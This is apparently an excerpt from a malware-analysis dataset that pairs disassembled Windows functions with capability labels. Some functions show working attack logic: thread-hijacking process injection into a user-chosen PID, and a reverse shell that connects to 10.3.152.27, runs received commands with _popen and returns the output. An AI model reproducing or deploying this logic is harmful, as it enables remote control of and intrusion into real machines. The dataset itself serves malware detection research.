joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Enumerate threads
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x528
mov rax, qword [0x140004400]
xor rax, rsp
mov qword [rsp + 0x520], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x80], 0x10000b
mov dword [rsp + 0x34], 0x1c
lea rcx, str.Please_Input_PID_number_r
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
lea rcx, [0x140003180]
lea rdx, [rsp + 0x30]
call fcn.140001160
mov r8d, dword [rsp + 0x30]
xor esi, esi
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
mov dword [rsp + 0x20], 0x40
mov r8d, 0x3e6
mov rcx, rax
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x20], 0
lea r8, section..data
mov r9d, 0x3e6
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, 4
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
lea r14, [rsp + 0x34]
mov rcx, rax
mov rdx, r14
call sub.KERNEL32.dll_Thread32First
mov rcx, rbx
mov rdx, r14
call sub.KERNEL32.dll_Thread32Next
test eax, eax
je 0x1400010fe
mov eax, dword [rsp + 0x40]
cmp eax, dword [rsp + 0x30]
jne 0x1400010d0
mov r8d, dword [rsp + 0x3c]
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SuspendThread]
lea rbx, [rsp + 0x50]
mov rcx, rsi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov qword [rsp + 0x148], rdi
mov rcx, rsi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x520]
xor rcx, rsp
call fcn.140001200
xor eax, eax
add rsp, 0x528
pop rbx
pop rdi
pop rsi
pop r14
ret

Function at 0x140001970
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019ba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019ba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019ba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019ba
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019ba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019bc
xor al, al
add rsp, 0x28
ret
Function at 0x140001466
Capabilities:
Query or enumerate registry value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x1e0
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
movabs rax, 0x3736353433323130
mov rsi, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movabs rdx, 0x6665646362613938
mov qword [rsp + 0x48], rdx
mov edx, 8
mov qword [rsp + 0x40], rax
call rsi
xor r8d, r8d
mov r9d, 0x20019
lea rdx, str.SYSTEMCurrentControlSetServicesTcpipParameters
mov rbp, rax
lea rax, [rsp + 0x38]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1400014e2
xor ebp, ebp
jmp 0x140001639
lea rdi, [rsp + 0xf0]
xor edx, edx
xor r9d, r9d
xor r8d, r8d
mov ecx, 0x3c
lea rbx, [rsp + 0xe0]
mov qword [rsp + 0xe0], rdx
rep stosd dword [rdi], eax
lea rax, [rsp + 0x34]
mov qword [rsp + 0xe8], rdx
mov rcx, qword [rsp + 0x38]
mov dword [rsp + 0x34], 0x100
lea rdx, str.Domain
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, 0xea
je 0x140001545
test eax, eax
jne 0x1400014db
lea rdi, [0x14005c03a]
mov rcx, qword [rsp + 0x38]
xor r12d, r12d
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rbx
mov rdx, rdi
call sub.msvcrt.dll_strtok
mov rbx, rax
test rbx, rbx
je 0x14000157f
mov rdx, rdi
xor ecx, ecx
mov r12, rbx
call sub.msvcrt.dll_strtok
mov rbx, rax
jmp 0x140001568
test r12, r12
je 0x140001639
mov rcx, r12
lea rdi, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov r9d, 4
mov r8d, 0x3000
xor ecx, ecx
lea ebx, [rax + 1]
movsxd rbx, ebx
mov rdx, rbx
call rsi
mov rdx, r12
lea r12, [rsp + 0x50]
mov rsi, rax
lea rcx, [rax + 1]
mov byte [rax], 0x2e
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rcx, rdi
call fcn.14000192a
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call fcn.14000196e
mov rdx, r12
mov rcx, rdi
call fcn.1400019c3
xor eax, eax
mov dl, byte [r12 + rax]
mov rcx, rdx
shr dl, 4
and ecx, 0xf
and edx, 0xf
mov cl, byte [rsp + rcx + 0x40]
mov dl, byte [rsp + rdx + 0x40]
mov byte [rbp + rax*2 + 1], cl
mov byte [rbp + rax*2], dl
inc rax
cmp rax, 4
jne 0x1400015ea
xor eax, eax
mov ecx, 8
mov rdi, r12
mov r8d, 0x8000
rep stosd dword [rdi], eax
mov rdi, rsi
mov rcx, rbx
mov rdx, rbx
rep stosb byte [rdi], al
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, rbp
add rsp, 0x1e0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140001730
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x128
xor r8d, r8d
mov rax, rcx
mov r9, rdx
movzx ecx, byte [r9 + r8]
movzx r10d, byte [r9 + r8 + 1]
lea rdx, [rsp + 0x20]
shl r10d, 0x10
shl ecx, 0x18
or ecx, r10d
movzx r10d, byte [r9 + r8 + 3]
or ecx, r10d
movzx r10d, byte [r9 + r8 + 2]
shl r10d, 8
or ecx, r10d
mov dword [rsp + r8 + 0x20], ecx
add r8, 4
cmp r8, 0x40
jne 0x14000174c
lea r10, [rsp + 0xe0]
mov r8d, dword [rdx + 0x38]
mov r9d, dword [rdx + 4]
add rdx, 4
mov ecx, r8d
mov r11d, r8d
shr r8d, 0xa
rol r11d, 0xd
rol ecx, 0xf
xor ecx, r11d
mov r11d, r9d
xor ecx, r8d
mov r8d, dword [rdx - 4]
add r8d, dword [rdx + 0x20]
rol r11d, 0xe
add ecx, r8d
mov r8d, r9d
shr r9d, 3
ror r8d, 7
xor r8d, r11d
xor r8d, r9d
add ecx, r8d
mov dword [rdx + 0x3c], ecx
cmp r10, rdx
jne 0x140001793
mov ebx, dword [rax + 0x54]
mov edi, dword [rax + 0x58]
lea r14, [0x14005c040]
mov r12d, dword [rax + 0x50]
mov dword [rsp + 4], ebx
mov ebx, dword [rax + 0x5c]
mov dword [rsp + 8], edi
mov edi, dword [rax + 0x60]
mov r9d, r12d
mov r10d, dword [rsp + 8]
mov r11d, dword [rsp + 4]
mov dword [rsp + 0xc], ebx
mov ebx, dword [rax + 0x64]
mov r13d, dword [rsp + 0xc]
mov dword [rsp + 0x10], edi
mov edi, dword [rax + 0x68]
mov r8d, dword [rsp + 0x10]
mov dword [rsp + 0x14], ebx
mov ebx, dword [rax + 0x6c]
mov dword [rsp + 0x18], edi
mov ebp, dword [rsp + 0x14]
mov dword [rsp + 0x1c], ebx
mov esi, ebx
xor ebx, ebx
mov ecx, r8d
mov edx, r8d
mov r15d, r8d
ror ecx, 6
ror edx, 0xb
and r15d, ebp
xor edx, ecx
mov ecx, r8d
rol ecx, 7
xor edx, ecx
mov ecx, dword [rsp + rbx + 0x20]
add ecx, dword [r14 + rbx]
add rbx, 4
add edx, ecx
mov ecx, r8d
not ecx
and ecx, edi
xor ecx, r15d
mov r15d, r11d
add edx, ecx
mov ecx, r9d
and r15d, r10d
add edx, esi
mov esi, r9d
ror ecx, 2
ror esi, 0xd
xor esi, ecx
mov ecx, r9d
rol ecx, 0xa
xor esi, ecx
mov ecx, r11d
xor ecx, r10d
and ecx, r9d
xor ecx, r15d
lea r15d, [rdx + r13]
mov r13d, r10d
add ecx, esi
mov esi, edi
add ecx, edx
cmp rbx, 0x100
je 0x1400018cb
mov edi, ebp
mov r10d, r11d
mov ebp, r8d
mov r11d, r9d
mov r8d, r15d
mov r9d, ecx
jmp 0x14000183f
mov edx, dword [rsp + 4]
add r12d, ecx
mov dword [rax + 0x50], r12d
add edx, r9d
mov dword [rax + 0x54], edx
mov edx, dword [rsp + 8]
add edx, r11d
mov dword [rax + 0x58], edx
mov edx, dword [rsp + 0xc]
add edx, r10d
mov dword [rax + 0x5c], edx
mov edx, dword [rsp + 0x10]
add edx, r15d
mov dword [rax + 0x60], edx
mov edx, dword [rsp + 0x14]
add edx, r8d
mov dword [rax + 0x64], edx
mov edx, dword [rsp + 0x18]
add edx, ebp
mov dword [rax + 0x68], edx
mov edx, dword [rsp + 0x1c]
add edx, edi
mov dword [rax + 0x6c], edx
add rsp, 0x128
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140001aed
Capabilities:
Get file size
Read file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
mov ecx, eax
call sub.msvcrt.dll_srand
call fcn.140001ab0
test eax, eax
je 0x140001cb0
mov rax, qword [0x14005c620]
mov r9d, 4
mov r8d, 0x3000
xor ecx, ecx
mov edx, 0x800
mov r13, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebp, dword [rax]
call r13
mov r8d, 0x800
mov rcx, rbx
mov rdx, rax
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r8d, r8d
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x30], r8
mov edx, 0x80000000
xor r8d, r8d
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
test rax, rax
je 0x140001cb0
xor edx, edx
mov rcx, rax
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
mov r12d, eax
mov edx, 4
call r13
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0x5c], ecx
mov rbx, rax
mov eax, ebp
mov qword [rsp + 0x48], rax
lea eax, [r12 - 4]
cmp edi, eax
jae 0x140001c7c
xor r9d, r9d
xor r8d, r8d
mov edx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r15, [rsp + 0x5c]
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rdx
mov r9, r15
mov r8d, 4
mov rdx, rbx
call r14
cmp dword [rbx], 0x465453
jne 0x140001c74
xor r9d, r9d
xor r8d, r8d
mov edx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, rbx
mov r8d, 0x8000
mov edx, 4
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor ecx, ecx
mov rdx, qword [rsp + 0x48]
mov r9d, 4
mov r8d, 0x3000
call r13
mov r9, r15
mov r8d, ebp
mov rcx, rsi
mov rbx, rax
xor eax, eax
mov qword [rsp + 0x20], rax
mov rdx, rbx
call r14
cmp dword [rsp + 0x5c], ebp
je 0x140001c74
call qword [sym.imp.KERNEL32.dll_DebugBreak]
add edi, 4
jmp 0x140001bc9
mov edx, ebp
mov rcx, rbx
call fcn.140001682
mov rcx, qword [rsp + 0x40]
mov r8d, 0x8000
mov edx, 0x800
mov rsi, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rsi
mov rdx, qword [rsp + 0x48]
mov r8d, 0x8000
mov rcx, rbx
call rsi
nop
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x140001fa0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002dc0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002dc0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x140002010
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14005f0a4]
mov rbx, rcx
test esi, esi
jle 0x140002140
mov rax, qword [0x14005f0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000205b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400020e5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002040
mov rcx, rbx
call fcn.140002a60
mov rdi, rax
test rax, rax
je 0x140002162
mov rax, qword [0x14005f0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002ba0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14005f0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002147
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400020de
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400020f0
add dword [0x14005f0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14005f0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400020de
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001fa0
nop dword [rax]
xor esi, esi
jmp 0x140002068
mov rax, qword [0x14005f0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001fa0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001fa0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400026d0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14005f100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14005f0e0]
test rbx, rbx
je 0x14000272c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002723
test rsi, rsi
je 0x140002723
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002708
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002a60
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14005c4d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002a80
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002a88
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002a80
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002add
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002ad4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002a80
add rax, 0x28
cmp rax, r9
jne 0x140002ac0
xor eax, eax
ret

Function at 0x140002ae0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14005c4d0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002aff
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002b08
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002aff
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002ba0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14005c4d0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002bbf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002bc8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x14000f880
Capabilities:
Check if file exists

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
cmp qword [rcx], rdx
je 0x14000f903
mov rdi, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rax, qword [rsi]
add rax, 1
cmp rax, 2
jb 0x14000f8ce
call fcn.140014640
mov r8, qword [rsp + 0x38]
mov rcx, qword [rsi]
mov rdx, rsi
mov r9, rax
call fcn.1400146c0
mov rcx, qword [rsi]
call fcn.140014650
mov qword [rsi], 0
lea rax, [rdi + 1]
cmp rax, 2
jb case.default.0x14000f8fc
mov qword [rsi], rdi
call fcn.140014640
mov r8, qword [rsp + 0x38]
mov rcx, rdi
mov rdx, rsi
mov r9, rax
call fcn.140014680
mov ecx, ebx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_SetLastError]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
cbw
mov edi, 0x3ced641d
invalid
cmp dword [rbx + 0x368b236a], ebp
cld
scasb al, byte [rdi]
rcr edx, 1
ret 0x7dff
or ecx, dword [rcx - 0x2e]
jno 0x1400c3ec2
adc al, 0xde
mov ebp, dword [rdi + 0x13]
mov byte [rbp + 0x7618ffb5], ch
jl 0x1400c3e51
clc
ror dword [rbx - 0x23e91f69], 1
jge 0x1400c3efb
sbb eax, 0x4f293982
mov dl, 0x6b
jle 0x1400c3eae
cld
invalid
mov bl, 0x95
xor byte [rdx + 0x7d7bf335], bl
adc al, 0x6d
invalid
invalid
ficom word [0x1be4d087f]
sub al, 0xa
movabs eax, dword [0xd1bcab8a56d88067]
cdq
enter 0xffffffffffff9ce8, 0x42
lea edx, [rcx]
jns 0x1400c3ea2
invalid
std
sbb eax, 0xde4b4422
invalid

Function at 0x140010e90
Capabilities:
Query environment variable

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x230
mov r14, rcx
mov rax, qword [0x140065020]
xor rax, rsp
mov qword [rsp + 0x228], rax
lea rdi, [rsp + 0x20]
mov word [rdi], 0
xor ebx, ebx
lea r15, str.PROGRAMFILES
mov rsi, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov rcx, qword [rbx + r15]
mov word [rsp + 0x20], 0
mov r8d, 0x104
mov rdx, rdi
call rsi
lea ecx, [rax - 1]
cmp ecx, 0x102
ja 0x140010eff
mov edx, eax
mov rcx, rdi
mov r8, r14
call fcn.140010e20
test al, al
jne 0x140010f0d
add rbx, 8
cmp rbx, 0x18
jne 0x140010ecd
xor esi, esi
jmp 0x140010f10
mov sil, 1
mov rcx, qword [rsp + 0x228]
xor rcx, rsp
call fcn.14002a340
mov eax, esi
add rsp, 0x230
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400044c0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400044d0]
mov dword [rax], 1
mov rax, qword [0x1400044e0]
mov dword [rax], 1
mov rax, qword [0x1400044b0]
mov dword [rax], 1
mov rax, qword [0x140004380]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x1400044a0]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x1400010c0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140004460]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140004440]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140004330]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067
Function at 0x140001550
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
push rdi
sub rsp, 0x7d8
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp + 0x5a0]
mov rdx, rax
mov ecx, 0x102
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov qword [rbp + 0x590], 0
mov qword [rbp + 0x598], 0
mov word [rbp + 0x590], 2
mov ecx, 0x1f40
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x592], ax
lea rcx, str.10.3.152.27
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x594], eax
mov qword [rbp + 0x390], 0
mov qword [rbp + 0x398], 0
lea rdx, [rbp + 0x3a0]
mov eax, 0
mov ecx, 0x3e
mov rdi, rdx
rep stosq qword [rdi], rax
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp + 0x74c], eax
cmp dword [rbp + 0x74c], 0xffffffff
jne 0x140001633
lea rcx, str.error_socket
call sym.perror
mov ecx, 1
call sym.exit
mov eax, dword [rbp + 0x74c]
cdqe
lea rdx, [rbp + 0x590]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov dword [rbp + 0x748], eax
cmp dword [rbp + 0x748], 0xffffffff
jne 0x140001679
lea rcx, str.error_connect
call sym.perror
mov ecx, 1
call sym.exit
mov eax, dword [rbp + 0x74c]
cdqe
lea rdx, [rbp + 0x390]
mov r9d, 0
mov r8d, 0x200
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
lea rax, [rbp + 0x390]
mov rcx, rax
call sym.strlen
sub rax, 1
mov byte [rbp + rax + 0x390], 0
lea rax, [rbp + 0x390]
lea rdx, [0x140004027]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x740], rax
jmp 0x14000170d
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov eax, dword [rbp + 0x74c]
cdqe
lea rdx, [rbp - 0x60]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rdx, qword [rbp + 0x740]
lea rax, [rbp - 0x60]
mov r8, rdx
mov edx, 0x3e8
mov rcx, rax
call sym.fgets
test rax, rax
jne 0x1400016de
jmp 0x14000170d

Function at 0x140001a40
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x140001ab0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x1400070a4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x140001c60
mov rax, qword [0x1400070a8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x140001afc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001b87
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x140001ae0
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x140001cbd
mov rax, qword [0x1400070a8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400070a8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001ca2
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001b80
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001c10
add dword [0x1400070a4], 1
cmp ebx, 8
jae 0x140001bb8
test bl, 4
jne 0x140001c70
test ebx, ebx
je 0x140001ba9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x140001c90
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x140001ba9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x140001bea
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x1400070a8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b80
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
xor edi, edi
jmp 0x140001b07
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x140001ba9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x140001ba9
mov rax, qword [0x1400070a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop dword [rax]